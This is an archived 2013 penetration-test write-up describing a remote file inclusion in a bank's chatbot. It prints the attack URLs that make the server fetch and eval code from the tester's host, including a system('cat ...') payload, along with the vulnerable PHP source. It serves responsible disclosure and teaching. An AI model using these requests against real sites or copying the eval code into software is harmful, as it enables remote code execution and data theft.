Write-up: From virtual assistant to remote code execution

Archived article from 16 December 2013. Its content reflects the state of things at the time. Reconstructed from the web archive of secalert.net - view the original.

Summary. During a black-box penetration test for a German financial institution, a customer-facing virtual assistant turned out to fetch a PHP file from a user-controlled URL and run the result through eval(). That made it a remote file inclusion leading to remote code execution. The customer and the external agency that built the component were notified, and the issue was fixed. The customer is anonymised throughout.

Background

Some weeks ago I performed a black-box penetration test for a German financial institution. The story began a little like "Hello, may I help you? Yes, please run my code on your server." The scope covered a part of their website that had been built by an external agency: a virtual assistant meant to help visitors quickly find answers to their questions. When a visitor typed a question into the assistant's chat box, the phrase was compared against entries in an answers file, and the closest match was returned.

My first thought was that they might use a matching function such as PHP's preg_match() to check whether user-supplied values appeared in the answers file on the server side. It turned out to be far worse than that.

Finding the entry point

All I was given was the URL http://www.vulnerable.tld/virtualassistance/customer_chatbox.php, so I visited the page and tried some harmless keywords to see how the matching worked and what happened when I entered nonsense. The first thing I noticed was that, after submitting a query via POST, the application revealed an interesting GET parameter in the response.

response reveals a parameter
http://www.vulnerable.tld/virtualassistance/customer_chatbox.php?chat_home=http://www.external-agency.tld/customers/XX"

I was genuinely surprised, because an external URL in a response parameter made no sense to me unless they were including files from that external resource, which would be a strange thing to do on a financial institution's production server. I wanted to find out whether this was a remote file inclusion (RFI), so I tried to fetch an external resource to check for server-side request forgery (SSRF).

SSRF or RFI
http://www.vulnerable.tld/virtualassistance/customer_chatbox.php?chat_home=http://nonexistent.tld

which produced the following errors:

PHP error messages
Warning: file() [function.file]: php_network_getaddresses: getaddrinfo failed: Name or service not known in /var/www/XXX/external-agency.tld/htdocs/chat_proxy.php on line 3

Warning: file(http://nonexistent.tld?chat_home=http://nonexistent.tld) [function.file]: failed to open stream: Success in /var/www/XXX/external-agency.tld/htdocs/chat_proxy.php on line 3

Warning: join() [function.join]: Bad arguments. in /var/www/XXX/external-agency.tld/htdocs/chat_proxy.php on line 3

Root cause: an external include fed into eval()

This looked like SSRF at first glance. But the errors also revealed that they were using PHP's join() function (an alias of implode()) to join array elements with a string. It now looked as if they were dynamically loading PHP code from an external site and joining it with user-supplied values from the original website. Without knowing exactly what their code did, I tested whether I could include an arbitrary PHP file hosted on my own server.

attempt to include a remote file
http://www.vulnerable.tld/virtualassistance/customer_chatbox.php?chat_home=https://window.name/research/XXX.php

which returned these PHP errors:

eval() revealed
Warning: Unexpected character in input: ' in /var/www/XXX/external-agency.tld/htdocs/chat_proxy.php(21) : eval()'d code on line 1

Parse error: syntax error, unexpected T_LNUMBER in /var/www/XXX/external-agency.tld/htdocs/chat_proxy.php(21) : eval()'d code on line 1

In 2013, really? By design, the application fetched an external resource from a user-supplied value and then evaluated it. The file on my server contained a simple PHP snippet.

XXX.php
<?php echo phpinfo(); ?>

This snippet prints a large amount of information about the PHP configuration of the target server. Reading the error message carefully ("unexpected T_LNUMBER", a syntax error) told me that user-supplied values were being inserted inside an existing PHP code context, so the parser choked on my opening <?php tag. I adjusted the file on my server to fit that context.

XXX.php, adjusted
phpinfo();

I then submitted the request again.

another attempt
http://www.vulnerable.tld/virtualassistance/customer_chatbox.php?chat_home=https://window.name/research/XXX.php

This time my code was evaluated and returned the PHP configuration of the target, giving me a great deal of information about its current state.

Reading the vulnerable source

I wanted to understand exactly what they were doing and why, so I tried to retrieve the source of the vulnerable file by changing the file on my server. Since I had the output of phpinfo, I could read the script's path from the SCRIPT_FILENAME entry. Here is the modified file hosted on my server.

another change to XXX.php
system("\cat /var/www/XXX/external-agency.tld/htdocs/chat_proxy.php\");

I then submitted a query pointing to that modified file.

retrieving the vulnerable source
http://www.vulnerable.tld/virtualassistance/customer_chatbox.php?chat_home=https://window.name/research/XXX.php

which disclosed the vulnerable part of the source code.

vulnerable source code
<?php // load template with possible answers

        $param = join ('', file ($_GET[chat_home] . ((strstr ($_GET[chat_home], "?")) ? "&" : "?") . $_SERVER['QUERY_STRING']));

// prepare the answer and remove xml-tags

        ...

        // filter common javascript

        $param = preg_replace( "/(<javascript>)\s*onload=\"(.*?)\"(<\/javascript>)/i", "\\1\\2\\3", $param );

        $param = preg_replace( "/entryfieldsetfocus\(\);+/i", "", $param );

        // remove whitespaces

        $param = preg_replace( "/\s+/i", " ", $param );

        // escape double-quotes

        $param = preg_replace ("/\"/", "\\\"", $param);

        //$param = addslashes( $param );

        // prepare the variables

        $param = preg_replace( "/<(.*?)>(.*?)<\/\\1>/i", '$chatbox[\\1]="\\2";', $param );

        ...

        eval( $param );

        ...

        $answer = array();

        $fp = fopen( 'answers.csv' , 'r' );

        while ( $line = fgets( $fp , 256 ) ) {

                list( $id , $cnt , $ans ) = explode( ';' , $line );

                ...

                $answer[$id] = trim( $ans );

        }

        ...

        $answer[$id] = preg_replace( "/\r\n/" , '' , $chatbox['answer'] );

        ...

        foreach ( $entry as $id => $cnt ) {

                ...

        }

        fclose( $fp );

?>

Impact and remediation

As the source shows, they applied several filters, including attempts to strip escape sequences such as newlines. Despite that, they used preg_replace() followed by eval() on user-supplied values. That combination effectively hands out the server's entire source, including configuration files, to anyone who asks, and in this case allowed arbitrary code execution on a production server of a financial institution.

Be careful when a third party supplies code, and never trust it blindly. Review it before it goes into production, make sure source is never fetched from external resources outside your control, and never pass request-derived data into eval().

Timeline

timeline
October 23rd 2013: issue identified, financial institution contacted
October 24th 2013: customer contacted the external agency
October 28th 2013: issue verified
November 14th 2013: issue fixed by the external agency
November 17th 2013: customer deployed the fixed version
December 16th 2013: this write-up published